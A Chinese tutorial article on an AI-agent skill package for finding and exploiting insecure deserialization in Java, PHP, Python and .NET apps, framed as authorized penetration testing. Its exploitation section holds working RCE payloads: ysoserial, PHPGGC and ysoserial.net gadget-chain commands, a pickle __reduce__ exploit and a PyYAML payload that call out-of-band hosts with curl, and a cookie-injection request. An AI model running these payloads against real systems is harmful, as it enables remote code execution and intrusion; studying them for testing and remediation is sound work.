Anthropic-Cybersecurity-Skills 实战:构建 Java / PHP / Python / .NET 不安全反序列化检测 Agent
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
导读
本文围绕仓库中exploiting-insecure-deserialization技能包展开,它以 api-reference.md 为 API 契约、以 SKILL.md 为攻击流程指南、以 agent.py 为可运行实现,构成一套面向 AI Agent 的"不安全反序列化检测"完整方案。读完本文,你将掌握:如何用一条 CLI 命令自动扫描 HTTP 流量中的序列化特征(Java、.NET ViewState、PHP、Python pickle),如何生成 URLDNS /__reduce__等带外(OOB)探测载荷,以及如何配合 ysoserial、PHPGGC、ysoserial.net 完成授权的反序列化 RCE 验证并输出标准化报告。
一、技能包定位:Agent 可执行的 Web 安全检测单元
在 SKILL.md 的元数据中,该技能被定义为domain: cybersecurity、subdomain: web-application-security,关键标签包括deserialization、rce、owasp、ysoserial,并明确限定其使用场景为"授权渗透测试中对 Java、PHP、Python、.NET 应用的不安全反序列化进行识别与利用"。
它在框架映射上也相当完整:
| 框架 | 映射项 | 说明 |
|---|---|---|
| MITRE ATT&CK | T1190(利用面向公众的应用)、T1059.007(JavaScript/命令执行)、T1505.003(Web Shell)、T1083(文件与目录发现) | 攻击链覆盖"入口利用 → 代码执行 → 持久化" |
| NIST CSF 2.0 | PR.PS-01、ID.RA-01、PR.DS-10、DE.CM-01 | 覆盖保护、识别、数据安全、检测四大能力 |
| OWASP | A08:2025 Software and Data Integrity Failures | 仓库在 mappings/owasp/README.md 中将数据完整性失败明确归类为反序列化等完整性校验缺失场景 |
整个技能包的文件结构非常简洁,遵循SKILL.md + references + scripts的 Agent 技能标准:
skills/exploiting-insecure-deserialization/ ├── SKILL.md # 使用时机、前置条件、六步攻击工作流、输出模板 ├── references/ │ └── api-reference.md # 检测 Agent 的 API 契约(依赖、CLI、函数、输出 Schema) ├── scripts/ │ └── agent.py # 检测 Agent 的可运行实现(约 180 行) └── LICENSE # Apache-2.0二、检测 Agent 依赖与运行环境
根据 api-reference.md,检测 Agent 的依赖极轻,只需两块:
| 库 | 版本要求 | 用途 |
|---|---|---|
requests | >=2.28 | 发起 HTTP 请求,扫描响应 Cookie 与响应体 |
pickle | Python 标准库 | 生成 pickle 探测载荷,验证 Python 反序列化 |
在 agent.py 中可以看到,requests是唯一的外部依赖,导入失败时会直接提示pip install requests;pickle则在test_python_pickle函数内部按需导入。这意味着该 Agent 可以在最小化的 Python 3 环境中直接运行,非常适合嵌入 CI/CD、SOAR 剧本或作为 Agent 的一次性检测工具。
三、CLI 用法:一条命令完成整站扫描
检测 Agent 的入口是scripts/agent.py,其标准调用方式如下:
python scripts/agent.py --url https://target.example.com/dashboard \ --callback oob.attacker.com --output deser_report.json对应源码中 main() 的参数定义,三个参数的含义与默认值分别为:
| 参数 | 必填 | 默认值 | 说明 |
|---|---|---|---|
--url | 是 | 无 | 目标 URL,Agent 将对其发起 GET 请求并扫描返回的 Cookie 与响应体 |
--callback | 否 | 空字符串 | 带外回调主机(如 interactsh / Collaborator 域名),用于反序列化探测的 DNS/HTTP 回调确认 |
--output | 否 | deserialization_report.json | JSON 报告输出路径 |
执行后,Agent 会:
- 调用
run_assessment(url, callback_host)编排完整扫描; - 将报告写入
--output指定的 JSON 文件; - 同时在终端以
json.dumps(report, indent=2)打印可读报告。
四、核心函数族:从识别到探测的完整链路
4.1detect_serialization_format(data) -> str:格式识别器
该函数是整套检测能力的"眼",输入一个字符串,输出java_serialized、java_gzipped_serialized、dotnet_viewstate、php_serialized、java_serialized_base64、python_pickle之一,无法识别时返回None。
从 agent.py 的 detect_serialization_format 的实现看,识别优先级依次为:
- 以
rO0AB开头 → Java Base64 序列化; - 以
H4sIAAAAAAAA开头 → Gzip 压缩后的 Java 序列化(对应 SKILL.md 中提到的 Gzip+Base64 特征); - 以
/wE开头 → .NET ViewState; - 匹配
[OaCsid]:\d+:正则 → PHP 序列化(对象O:、数组a:、字符串s:等标记); - 对值的前 16 字节做 Base64 解码,解码后以
\xac\xed\x00\x05(JAVA_MAGIC)开头 → Base64 包裹的 Java 二进制流;首字节为\x80→ Python pickle(协议版本字节)。
4.2scan_cookies(url, session) -> list:Cookie 扫描
使用requests.Session对目标 URL 发起 GET 请求,遍历响应中的每个 Cookie,用detect_serialization_format逐一判定其 value,命中则记录location、name、format、value_preview(前 60 字符)与domain。源码中通过logger.warning输出告警,便于在扫描日志中快速定位。这是检测"Session Cookie 存序列化对象"这一最常见场景的核心手段。
4.3scan_response_body(url, method, data) -> list:响应体扫描
支持指定 HTTP 方法与 JSON 请求体,对响应文本做三类正则匹配(见 scan_response_body):
rO0AB[A-Za-z0-9+/=]{10,}→ 内嵌的 Java Base64 序列化对象;[OaCsid]:\d+:→ PHP 序列化对象/数组标记;__VIEWSTATE[^"]*"([^"]+)"→ ASP.NET 表单中的 ViewState 隐藏字段。
每个命中都会记录location(response_body或viewstate_field)、format与value_preview。
4.4 三类主动探测函数
| 函数 | 原理 | 对应源码位置 |
|---|---|---|
test_java_deserialization(url, cookie_name, callback_host) | 构造 URLDNS 风格探针:将 Java 魔数\xac\xed\x00\x05与回调域名拼入 Cookie 值,若服务端对 Cookie 反序列化,会触发对http://<callback_host>/java-deser-test的 DNS 解析,从而在 OOB 侧收到回调 | test_java_deserialization |
test_php_deserialization(url, param_name) | 依次发送三个 PHP 序列化载荷:O:4:"User":...role=admin对象注入、a:1:{s:4:"role";s:5:"admin";}数组注入、b:1;布尔标记,观察响应状态码与内容长度的差异 | test_php_deserialization |
test_python_pickle(url, param_name, callback_host) | 定义__reduce__返回(os.system, (f"nslookup {callback_host}",))的 Probe 类,序列化并 Base64 后 POST 到目标,若目标对参数反序列化即触发nslookup带外回调 | test_python_pickle |
值得强调的是,Agent 内置的主动探测载荷全部选择无 RCE 副作用的检测型载荷(DNS 回调、角色注入、nslookup),与 SKILL.md 中"URLDNS Gadget 用于安全检测"的定位一致,适合在授权范围内先做无破坏性确认,再进入利用阶段。
4.5run_assessment(url, callback_host) -> dict:总编排器
将 Cookie 扫描与响应体扫描结果聚合,输出target、serialized_data_found(总命中数)、cookie_findings、response_body_findings以及去重后的formats_detected列表(见 run_assessment)。
五、序列化特征速查表:流量中的"指纹"
api-reference.md 给出的序列化标记表是人工排查流量时最常用的速查依据,与detect_serialization_format的实现一一对应:
| 格式 | 魔数 / 前缀 | 示例 |
|---|---|---|
| Java 二进制 | \xac\xed\x00\x05 | 原始字节 |
| Java Base64 | rO0AB | Base64 编码后 |
| Java Gzip+Base64 | H4sIAAAAAAAA | gzip 压缩后再编码(见 SKILL.md) |
| .NET ViewState | /wE | __VIEWSTATE隐藏字段 |
| PHP | O:4:、a:2: | 对象 / 数组记法 |
| Python pickle | \x80(协议字节) | Base64 编码后 |
排查时建议优先检查以下位置:会话 Cookie、隐藏表单字段(__VIEWSTATE、__EVENTVALIDATION)、API 请求/响应体、WebSocket 消息、消息队列载荷(JMS、RabbitMQ、Redis)、缓存条目(Memcached、Redis)。
六、输出 Schema:机器可读的统一报告
Agent 输出遵循 api-reference.md 定义的 JSON Schema:
{ "target": "https://target.example.com/", "serialized_data_found": 2, "cookie_findings": [{"name": "session", "format": "java_serialized"}], "formats_detected": ["java_serialized"] }该 Schema 由 run_assessment 直接产出(字段名为cookie_findings、response_body_findings、formats_detected),结构化的输出使 Agent 可以轻松将结果投递给下一环节——例如拼接到 SKILL.md 提供的"Finding 模板"中生成最终漏洞报告。
七、从"检出"到"利用":SKILL.md 六步工作流
检测 Agent 解决的是"找出反序列化入口",而 SKILL.md 给出了从检出到确认 RCE 的完整利用工作流,两者配合才是完整闭环:
Step 1 识别流量中的序列化数据
用上文特征表在 Burp 代理历史中搜索rO0AB等特征,或直接对疑似值解码验证:
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | headStep 2 Java:ysoserial 生成载荷
以 URLDNS 作无副作用探测,以 CommonsCollections / Spring / Hibernate 等 gadget chain 验证 RCE:
# 最安全的探测载荷(仅 DNS 回调) java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0 # 常用 RCE gadget chain java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0 java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0 # 注入 Cookie 发送 PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0) curl -s -X POST -b "session=$PAYLOAD" "https://target.example.com/dashboard"Step 3 PHP:PHPGGC 生成 gadget chain
针对 Laravel、Symfony、WordPress(Guzzle)、Monolog 等框架:
./phpggc -l # 列出可用链 ./phpggc Laravel/RCE1 system "id" -b # Laravel RCE ./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b ./phpggc Guzzle/RCE1 system "id" -b # WordPress 场景SKILL.md 还提示了两种 PHP 对象注入变形:修改序列化串中的role字段实现越权(s:4:"user"→s:5:"admin"),以及用类型混淆(s:4:"role"→i:1)绕过部分校验。
Step 4 .NET:ysoserial.net 与 ViewState
先确认目标是否启用 ViewState MAC;未启用或已知 machine key 时,可构造恶意 ViewState:
./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \ -c "curl http://abc123.oast.fun/dotnet-rce" -o base64 ./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "whoami" -o base64同时留意Content-Type: application/octet-stream/application/x-msbin的 BinaryFormatter API 端点与.rem远程调用端点。
Step 5 Python:pickle 与 PyYAML
用__reduce__构造 RCE 载荷(与 Agent 的test_python_pickle同型但更激进),并覆盖 YAML 反序列化向量:
import pickle, base64, os class Exploit: def __reduce__(self): return (os.system, ('curl http://abc123.oast.fun/pickle-rce',)) payload = base64.b64encode(pickle.dumps(Exploit())).decode() print(f"Pickle payload: {payload}")# PyYAML 反序列化 curl -s -X POST -H "Content-Type: application/x-yaml" \ -d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \ "https://target.example.com/api/config"Step 6 确认利用与记录影响
通过 OOB 回调(DNS/HTTP)、时间盲测(sleep 10类载荷对比响应耗时)、命令输出外带($(whoami))三重手段确认 RCE,并定位存在漏洞的库版本(如 commons-collections 3.x / 4.0、spring-core、hibernate-core、groovy),最终套用 SKILL.md 自带的"Finding 模板"输出规范报告:
**Vulnerability**: Insecure Deserialization - Remote Code Execution **Severity**: Critical (CVSS 9.8) **OWASP Category**: A08:2021 - Software and Data Integrity Failures模板还要求给出复现步骤、受影响库(如commons-collections 3.2.1,对应 CVE-2015-7501)、确认影响范围与修复建议(改用 JSON/Protobuf、升级库、启用 JEP 290 反序列化过滤器、类白名单、HMAC 完整性校验)。
八、典型攻击场景速览
SKILL.md 归纳了四个高频场景,与 Agent 的函数能力一一对应:
| 场景 | 载体 | 利用方式 |
|---|---|---|
| Java Session Cookie RCE | rO0AB前缀 Cookie | ysoserial + CommonsCollections |
| PHP Laravel Unserialize | 隐藏表单字段 | PHPGGC Laravel RCE 链 |
| .NET ViewState 无 MAC | __VIEWSTATE字段 | ysoserial.net 恶意 ViewState |
| Python Pickle 缓存投毒 | Redis 等缓存 | 恶意 pickle 载荷注入缓存,反序列化时触发 |
九、使用边界与合规前提
需要明确两点约束,这也是将本技能包用于生产环境的前提:
- 授权要求:SKILL.md 的 Prerequisites 第一条即"包含 RCE 测试范围的书面渗透测试协议",且 agent.py 源码首行注释明确"仅限实验室 / CTF 环境的授权测试"。本技能包定位是授权测试工具,绝非无边界攻击工具。
- 检测优先:Agent 内置载荷均为无副作用的探测型载荷(DNS 回调 /
nslookup/ 角色注入),而 RCE 载荷(ysoserial gadget chain、PHPGGC 链、pickle 系统命令)需要分析师在授权范围内审慎手动生成。
十、小结
exploiting-insecure-deserialization技能包为 AI Agent 提供了"格式识别 → 入口定位 → 载荷探测 → 报告输出"的完整能力链:api-reference.md定义了轻量且机器可读的 Agent 接口,agent.py以约 180 行代码给出了可落地的实现(格式识别、Cookie/响应体扫描、三类 OOB 探测),SKILL.md则补齐了 ysoserial / PHPGGC / ysoserial.net 的实战利用方法论与标准化报告模板。对希望把反序列化检测自动化、Agent 化的团队而言,这是一个结构清晰、可直接嵌入检测流水线的参考实现。
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考